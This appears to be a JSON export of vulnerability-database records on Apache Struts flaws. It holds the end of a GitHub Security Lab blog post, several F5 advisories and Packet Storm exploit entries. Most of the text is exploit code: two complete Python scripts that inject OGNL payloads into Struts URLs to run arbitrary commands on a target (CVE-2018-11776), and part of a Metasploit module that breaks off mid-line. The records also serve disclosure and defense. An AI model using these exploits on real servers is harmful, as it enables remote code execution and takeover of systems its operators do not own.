scanning](<https://docs.github.com/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning>) and [Dependabot](<https://docs.github.com/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts>) for free to immediately benefit from this security knowledge as a first line of defense. I encourage you to also [enable private vulnerability reporting](<https://docs.github.com/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository>) so that teams like the Security Lab, who audit open source projects, can report issues to you privately to collaborate on a fix.\n\n* * *\n\n#### References[](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/#references>)\n\n * Man Yue Mo ([@m-y-mo](<https://github.com/m-y-mo>))\n * Kevin Backhouse ([@kevinbackhouse](<https://github.com/kevinbackhouse>))\n * Alvaro Mu\u00f1oz ([@pwntester](<https://github.com/pwntester>))\n * Jaroslav Loba\u010devski ([@jarlob](<https://github.com/jarlob>))\n * [Bean Stalking: Growing Java beans into RCE](<https://securitylab.github.com/research/bean-validation-RCE/>)\n * Alvaro Mu\u00f1oz at BlackHat 2016: [A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dreamland](<https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf>)\n\nThe post [The GitHub Security Lab\u2019s journey to disclosing 500 CVEs in open source projects](<https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/>) appeared first on [The GitHub Blog](<https://github.blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-09-21T20:56:46", "type": "github", "title": "The GitHub Security Lab\u2019s journey to disclosing 500 CVEs in open source projects", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805", "CVE-2018-4407", "CVE-2021-3560", "CVE-2021-45046", "CVE-2022-20186"], "modified": "2023-09-21T21:00:07", "id": "GITHUB:C82C4FE9D1A6B81D79D6EF10C4F9D007", "href": "https://github.blog/2023-09-21-the-github-security-labs-journey-to-disclosing-500-cves-in-open-source-projects/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "f5": [{"lastseen": "2023-06-19T15:41:33", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when using results with no namespace and in same time, its upper action(s) have no or wildcard namespace. Same possibility when using url tag which doesn't have value and action set and in same time, its upper action(s) have no or wildcard namespace. ([CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>))\n\nImpact\n\nThere is no impact; F5 products are not affected by this vulnerability.\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-24T03:58:00", "type": "f5", "title": "Apache Struts vulnerability CVE-2018-11776", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2022-02-28T06:11:00", "id": "F5:K60499474", "href": "https://support.f5.com/csp/article/K60499474", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-06T22:39:58", "description": "\nF5 Product Development has evaluated the currently supported releases for potential vulnerability.\n\nTo determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table.\n\nProduct | Versions known to be vulnerable | Versions known to be not vulnerable | Severity | Vulnerable component or feature \n---|---|---|---|--- \nBIG-IP LTM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP AAM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 | Not vulnerable | None \nBIG-IP AFM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 | Not vulnerable | None \nBIG-IP Analytics | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP APM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP ASM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP DNS | None | 13.0.0 \n12.0.0 - 12.1.2 | Not vulnerable | None \nBIG-IP Edge Gateway | None | 11.2.1 | Not vulnerable | None \nBIG-IP GTM | None | 11.4.0 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP Link Controller | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 \n11.2.1 | Not vulnerable | None \nBIG-IP PEM | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.4.0 - 11.6.1 | Not vulnerable | None \nBIG-IP PSM | None | 11.4.0 - 11.4.1 \n11.2.1 | Not vulnerable | None \nBIG-IP WebAccelerator | None | 11.2.1 | Not vulnerable | None \nBIG-IP WebSafe | None | 13.0.0 \n12.0.0 - 12.1.2 \n11.6.0 - 11.6.1 | Not vulnerable | None \nARX | None | 6.2.0 - 6.4.0 | Not vulnerable | None \nEnterprise Manager | None | 3.1.1 | Not vulnerable | None \nBIG-IQ Cloud | None | 4.4.0 - 4.5.0 | Not vulnerable | None \nBIG-IQ Device | None | 4.4.0 - 4.5.0 | Not vulnerable | None \nBIG-IQ Security | None | 4.4.0 - 4.5.0 | Not vulnerable | None \nBIG-IQ ADC | None | 4.5.0 | Not vulnerable | None \nBIG-IQ Centralized Management | None | 5.0.0 - 5.3.0 \n4.6.0 | Not vulnerable | None \nBIG-IQ Cloud and Orchestration | None | 1.0.0 | Not vulnerable | None \nF5 iWorkflow | None | 2.0.0 - 2.2.0 | Not vulnerable | None \nLineRate | None | 2.5.0 - 2.6.2 | Not vulnerable | None \nTraffix SDC | None | 5.0.0 - 5.1.0 \n4.0.0 - 4.4.0 | Not vulnerable | None\n\nMitigating the Apache vulnerability using BIG-IP ASM attack signatures\n\n**Impact of action**: Performing the following action should not have a negative impact on your system.\n\nThe BIG-IP ASM system offers zero-day protection for any Apache servers affected by this vulnerability through ASM Signatures 200003440 and 200004174.\n\nFor more information, refer to the following resources:\n\n * [Apache Struts 2 REST plugin Remote Code Execution (CVE-2017-9805)](<https://devcentral.f5.com/articles/apache-struts-2-rest-plugin-remote-code-execution-cve-2017-9805-27714>)\n\n**Note**: A DevCentral login is required to access this content.\n\n * <https://cwiki.apache.org/confluence/display/WW/S2-052>\n\n**Note**: The previous link takes you to a resource outside of AskF5. The third-party could remove the document without our knowledge.\n\n * [K8217: Managing BIG-IP ASM attack signatures](<https://support.f5.com/csp/article/K8217>)\n\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-09-07T00:20:00", "type": "f5", "title": "Apache Struts vulnerability CVE-2017-9805", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9805"], "modified": "2018-08-28T21:20:00", "id": "F5:K84144321", "href": "https://support.f5.com/csp/article/K84144321", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-24T12:56:14", "description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string. ([CVE-2017-5638](<https://vulners.com/cve/CVE-2017-5638>))\n\nImpact\n\nThere is no impact; F5 products are not affected by this vulnerability.\n\n**Note**: For information about using an iRule to protect your web servers behind the BIG-IP virtual server, refer to the **Security Advisory Recommended Actions** section.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-09T20:36:00", "type": "f5", "title": "Apache Struts 2 vulnerability CVE-2017-5638", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-02-14T17:54:00", "id": "F5:K43451236", "href": "https://support.f5.com/csp/article/K43451236", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2018-08-27T17:58:42", "description": "", "cvss3": {}, "published": "2018-08-25T00:00:00", "type": "packetstorm", "title": "Apache Struts 2.3 / 2.5 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-25T00:00:00", "id": "PACKETSTORM:149087", "href": "https://packetstormsecurity.com/files/149087/Apache-Struts-2.3-2.5-Remote-Code-Execution.html", "sourceData": "`#!/usr/bin/python \n# -*- coding: utf-8 -*- \n \n# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter \n \nimport sys \nimport urllib \nimport urllib2 \nimport httplib \n \n \ndef exploit(host,cmd): \nprint \"[Execute]: {}\".format(cmd) \n \nognl_payload = \"${\" \nognl_payload += \"(#_memberAccess['allowStaticMethodAccess']=true).\" \nognl_payload += \"(#cmd='{}').\".format(cmd) \nognl_payload += \"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).\" \nognl_payload += \"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).\" \nognl_payload += \"(#p=new java.lang.ProcessBuilder(#cmds)).\" \nognl_payload += \"(#p.redirectErrorStream(true)).\" \nognl_payload += \"(#process=#p.start()).\" \nognl_payload += \"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).\" \nognl_payload += \"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).\" \nognl_payload += \"(#ros.flush())\" \nognl_payload += \"}\" \n \nif not \":\" in host: \nhost = \"{}:8080\".format(host) \n \n# encode the payload \nognl_payload_encoded = urllib.quote_plus(ognl_payload) \n \n# further encoding \nurl = \"http://{}/{}/help.action\".format(host, ognl_payload_encoded.replace(\"+\",\"%20\").replace(\" \", \"%20\").replace(\"%2F\",\"/\")) \n \nprint \"[Url]: {}\\n\\n\\n\".format(url) \n \ntry: \nrequest = urllib2.Request(url) \nresponse = urllib2.urlopen(request).read() \nexcept httplib.IncompleteRead, e: \nresponse = e.partial \nprint response \n \n \nif len(sys.argv) < 3: \nsys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0]) \nelse: \nexploit(sys.argv[1],sys.argv[2]) \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/149087/apachestruts23252-exec.txt"}, {"lastseen": "2018-08-27T17:58:42", "description": "", "cvss3": {}, "published": "2018-08-26T00:00:00", "type": "packetstorm", "title": "Apache Struts 2.3 / 2.5 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-26T00:00:00", "id": "PACKETSTORM:149086", "href": "https://packetstormsecurity.com/files/149086/Apache-Struts-2.3-2.5-Remote-Code-Execution.html", "sourceData": "`#!/usr/bin/env python3 \n# coding=utf-8 \n# ***************************************************** \n# struts-pwn: Apache Struts CVE-2018-11776 Exploit \n# Author: \n# Mazin Ahmed <Mazin AT MazinAhmed DOT net> \n# This code uses a payload from: \n# https://github.com/jas502n/St2-057 \n# ***************************************************** \n \nimport argparse \nimport random \nimport requests \nimport sys \ntry: \nfrom urllib import parse as urlparse \nexcept ImportError: \nimport urlparse \n \n# Disable SSL warnings \ntry: \nimport requests.packages.urllib3 \nrequests.packages.urllib3.disable_warnings() \nexcept Exception: \npass \n \nif len(sys.argv) <= 1: \nprint('[*] CVE: 2018-11776 - Apache Struts2 S2-057') \nprint('[*] Struts-PWN - @mazen160') \nprint('\\n%s -h for help.' % (sys.argv[0])) \nexit(0) \n \n \nparser = argparse.ArgumentParser() \nparser.add_argument(\"-u\", \"--url\", \ndest=\"url\", \nhelp=\"Check a single URL.\", \naction='store') \nparser.add_argument(\"-l\", \"--list\", \ndest=\"usedlist\", \nhelp=\"Check a list of URLs.\", \naction='store') \nparser.add_argument(\"-c\", \"--cmd\", \ndest=\"cmd\", \nhelp=\"Command to execute. (Default: 'id')\", \naction='store', \ndefault='id') \nparser.add_argument(\"--exploit\", \ndest=\"do_exploit\", \nhelp=\"Exploit.\", \naction='store_true') \n \n \nargs = parser.parse_args() \nurl = args.url if args.url else None \nusedlist = args.usedlist if args.usedlist else None \ncmd = args.cmd if args.cmd else None \ndo_exploit = args.do_exploit if args.do_exploit else None \n \nheaders = { \n'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)', \n# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', \n'Accept': '*/*' \n} \ntimeout = 3 \n \n \ndef parse_url(url): \n\"\"\" \nParses the URL. \n\"\"\" \n \n# url: http://example.com/demo/struts2-showcase/index.action \n \nurl = url.replace('#', '%23') \nurl = url.replace(' ', '%20') \n \nif ('://' not in url): \nurl = str(\"http://\") + str(url) \nscheme = urlparse.urlparse(url).scheme \n \n# Site: http://example.com \nsite = scheme + '://' + urlparse.urlparse(url).netloc \n \n# FilePath: /demo/struts2-showcase/index.action \nfile_path = urlparse.urlparse(url).path \nif (file_path == ''): \nfile_path = '/' \n \n# Filename: index.action \ntry: \nfilename = url.split('/')[-1] \nexcept IndexError: \nfilename = '' \n \n# File Dir: /demo/struts2-showcase/ \nfile_dir = file_path.rstrip(filename) \nif (file_dir == ''): \nfile_dir = '/' \n \nreturn({\"site\": site, \n\"file_dir\": file_dir, \n\"filename\": filename}) \n \n \ndef build_injection_inputs(url): \n\"\"\" \nBuilds injection inputs for the check. \n\"\"\" \n \nparsed_url = parse_url(url) \ninjection_inputs = [] \nurl_directories = parsed_url[\"file_dir\"].split(\"/\") \n \ntry: \nurl_directories.remove(\"\") \nexcept ValueError: \npass \n \nfor i in range(len(url_directories)): \ninjection_entry = \"/\".join(url_directories[:i]) \n \nif not injection_entry.startswith(\"/\"): \ninjection_entry = \"/%s\" % (injection_entry) \n \nif not injection_entry.endswith(\"/\"): \ninjection_entry = \"%s/\" % (injection_entry) \n \ninjection_entry += \"{{INJECTION_POINT}}/\" # It will be renderred later with the payload. \ninjection_entry += parsed_url[\"filename\"] \n \ninjection_inputs.append(injection_entry) \n \nreturn(injection_inputs) \n \n \ndef check(url): \nrandom_value = int(''.join(random.choice('0123456789') for i in range(2))) \nmultiplication_value = random_value * random_value \ninjection_points = build_injection_inputs(url) \nparsed_url = parse_url(url) \nprint(\"[%] Checking for CVE-2018-11776\") \nprint(\"[*] URL: %s\" % (url)) \nprint(\"[*] Total of Attempts: (%s)\" % (len(injection_points))) \nattempts_counter = 0 \n \nfor injection_point in injection_points: \nattempts_counter += 1 \nprint(\"[%s/%s]\" % (attempts_counter, len(injection_points))) \ntesting_url = \"%s%s\" % (parsed_url[\"site\"], injection_point) \ntesting_url = testing_url.replace(\"{{INJECTION_POINT}}\", \"${{%s*%s}}\" % (random_value, random_value)) \ntry: \nresp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) \nexcept Exception as e: \nprint(\"EXCEPTION::::--> \" + str(e)) \ncontinue \nif \"Location\" in resp.headers.keys(): \nif str(multiplication_value) in resp.headers['Location']: \nprint(\"[*] Status: Vulnerable!\") \nreturn(injection_point) \nprint(\"[*] Status: Not Affected.\") \nreturn(None) \n \n \ndef exploit(url, cmd): \nparsed_url = parse_url(url) \n \ninjection_point = check(url) \nif injection_point is None: \nprint(\"[%] Target is not vulnerable.\") \nreturn(0) \nprint(\"[%] Exploiting...\") \n \npayload = \"\"\"%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D\"\"\".format(cmd) \n \ntesting_url = \"%s%s\" % (parsed_url[\"site\"], injection_point) \ntesting_url = testing_url.replace(\"{{INJECTION_POINT}}\", payload) \n \ntry: \nresp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) \nexcept Exception as e: \nprint(\"EXCEPTION::::--> \" + str(e)) \nreturn(1) \n \nprint(\"[%] Response:\") \nprint(resp.text) \nreturn(0) \n \n \ndef main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit): \nif url: \nif not do_exploit: \ncheck(url) \nelse: \nexploit(url, cmd) \n \nif usedlist: \nURLs_List = [] \ntry: \nf_file = open(str(usedlist), \"r\") \nURLs_List = f_file.read().replace(\"\\r\", \"\").split(\"\\n\") \ntry: \nURLs_List.remove(\"\") \nexcept ValueError: \npass \nf_file.close() \nexcept Exception as e: \nprint(\"Error: There was an error in reading list file.\") \nprint(\"Exception: \" + str(e)) \nexit(1) \nfor url in URLs_List: \nif not do_exploit: \ncheck(url) \nelse: \nexploit(url, cmd) \n \nprint(\"[%] Done.\") \n \n \nif __name__ == \"__main__\": \ntry: \nmain(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit) \nexcept KeyboardInterrupt: \nprint(\"\\nKeyboardInterrupt Detected.\") \nprint(\"Exiting...\") \nexit(0) \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/149086/apachestruts2325-exec.txt"}, {"lastseen": "2018-09-08T18:08:24", "description": "", "cvss3": {}, "published": "2018-09-07T00:00:00", "type": "packetstorm", "title": "Apache Struts 2 Namespace Redirect OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-07T00:00:00", "id": "PACKETSTORM:149277", "href": "https://packetstormsecurity.com/files/149277/Apache-Struts-2-Namespace-Redirect-OGNL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \n# Eschewing CmdStager for now, since the use of '\\' and ';' are killing me \n#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection', \n'Description' => %q{ \nThis module exploits a remote code execution vulnerability in Apache Struts \nversion 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed \nvia an endpoint that makes use of a redirect action. \n \nNative payloads will be converted to executables and dropped in the \nserver's temp dir. If this fails, try a cmd/* payload, which won't \nhave to write to the disk. \n}, \n#TODO: Is that second paragraph above still accurate? \n'Author' => [ \n'Man Yue Mo', # Discovery \n'hook-s3c', # PoC \n'asoto-r7', # Metasploit module \n'wvu' # Metasploit module \n], \n'References' => [ \n['CVE', '2018-11776'], \n['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], \n['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'], \n['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'], \n], \n'Privileged' => false, \n'Targets' => [ \n[ \n'Automatic detection', { \n'Platform' => %w{ unix windows linux }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n}, \n], \n[ \n'Windows', { \n'Platform' => %w{ windows }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n}, \n], \n[ \n'Linux', { \n'Platform' => %w{ unix linux }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} \n}, \n], \n], \n'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018 \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOpt::RPORT(8080), \nOptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), \nOptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), \nOptString.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]), \n] \n) \nregister_advanced_options( \n[ \nOptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]), \nOptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ), \nOptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ), \n] \n) \nend \n \ndef check \n# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable \nognl = \"#_memberAccess['allowStaticMethodAccess']\" \n \nresp = send_struts_request(ognl) \n \n# If vulnerable, the server should return an HTTP 302 (Redirect) \n# and the 'Location' header should contain either 'true' or 'false' \nif resp && resp.headers['Location'] \noutput = resp.headers['Location'] \nvprint_status(\"Redirected to: #{output}\") \nif (output.include? '/true/') \nprint_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\") \ndatastore['ENABLE_STATIC'] = false \nCheckCode::Vulnerable \nelsif (output.include? '/false/') \nprint_status(\"Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'\") \ndatastore['ENABLE_STATIC'] = true \nCheckCode::Vulnerable \nelse \nCheckCode::Safe \nend \nelsif resp && resp.code==400 \n# METHOD 2: Generate two random numbers, ask the target to add them together. \n# If it does, it's vulnerable. \na = rand(10000) \nb = rand(10000) \nc = a+b \n \nognl = \"#{a}+#{b}\" \n \nresp = send_struts_request(ognl) \n \nif resp.headers['Location'].include? c.to_s \nvprint_status(\"Redirected to: #{resp.headers['Location']}\") \nprint_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\") \ndatastore['ENABLE_STATIC'] = false \nCheckCode::Vulnerable \nelse \nCheckCode::Safe \nend \nend \nend \n \ndef exploit \ncase payload.arch.first \nwhen ARCH_CMD \nresp = execute_command(payload.encoded) \nelse \nresp = send_payload() \nend \nend \n \ndef encode_ognl(ognl) \n# Check and fail if the command contains the follow bad characters: \n# ';' seems to terminates the OGNL statement \n# '/' causes the target to return an HTTP/400 error \n# '\\' causes the target to return an HTTP/400 error (sometimes?) \n# '\\r' ends the GET request prematurely \n# '\\n' ends the GET request prematurely \n \n# TODO: Make sure the following line is uncommented \nbad_chars = %w[; \\\\ \\r \\n] # and maybe '/' \nbad_chars.each do |c| \nif ognl.include? c \nprint_error(\"Bad OGNL request: #{ognl}\") \nfail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\") \nend \nend \n \n# The following list of characters *must* be encoded or ORNL will asplode \nencodable_chars = { \"%\": \"%25\", # Always do this one first. :-) \n\" \": \"%20\", \n\"\\\"\":\"%22\", \n\"#\": \"%23\", \n\"'\": \"%27\", \n\"<\": \"%3c\", \n\">\": \"%3e\", \n\"?\": \"%3f\", \n\"^\": \"%5e\", \n\"`\": \"%60\", \n\"{\": \"%7b\", \n\"|\": \"%7c\", \n\"}\": \"%7d\", \n#\"\\/\":\"%2f\", # Don't do this. Just leave it front-slashes in as normal. \n#\";\": \"%3b\", # Doesn't work. Anyone have a cool idea for a workaround? \n#\"\\\\\":\"%5c\", # Doesn't work. Anyone have a cool idea for a workaround? \n#\"\\\\\":\"%5c%5c\", # Doesn't work. Anyone have a cool idea for a workaround? \n} \n \nencodable_chars.each do |k,v| \n#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp) \nognl.gsub!(\"#{k}\",\"#{v}\") \nend \nreturn ognl \nend \n \ndef send_struts_request(ognl, payload: nil) \n=begin #badchar-checking code \npre = ognl \n=end \n \nognl = \"${#{ognl}}\" \nvprint_status(\"Submitted OGNL: #{ognl}\") \nognl = encode_ognl(ognl) \n \nheaders = {'Keep-Alive': 'timeout=5, max=1000'} \n \nif payload \nvprint_status(\"Embedding payload of #{payload.length} bytes\") \nheaders[datastore['HEADER']] = payload \nend \n \n# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs \nuri = \"/#{ognl}/#{datastore['ACTION']}\" \n \nresp = send_request_cgi( \n#'encode' => true, # this fails to encode '\\', which is a problem for me \n'uri' => uri, \n'method' => datastore['HTTPMethod'], \n'headers' => headers \n) \n \nif resp && resp.code == 404 \nfail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\") \nend \n \n=begin #badchar-checking code \nprint_status(\"Response code: #{resp.code}\") \n#print_status(\"Response recv: BODY '#{resp.body}'\") if resp.body \nif resp.headers['Location'] \nprint_status(\"Response recv: LOC: #{resp.headers['Location'].split('/')[1]}\") \nif resp.headers['Location'].split('/')[1] == pre[1..-2] \nprint_good(\"GOT 'EM!\") \nelse \nprint_error(\" #{pre[1..-2]}\") \nend \nend \n=end \n \nresp \nend \n \ndef profile_target \n# Use OGNL to extract properties from the Java environment \n \nproperties = { 'os.name': nil, # e.g. 'Linux' \n'os.arch': nil, # e.g. 'amd64' \n'os.version': nil, # e.g. '4.4.0-112-generic' \n'user.name': nil, # e.g. 'root' \n#'user.home': nil, # e.g. '/root' (didn't work in testing) \n'user.language': nil, # e.g. 'en' \n#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing) \n} \n \nognl = \"\" \nognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if 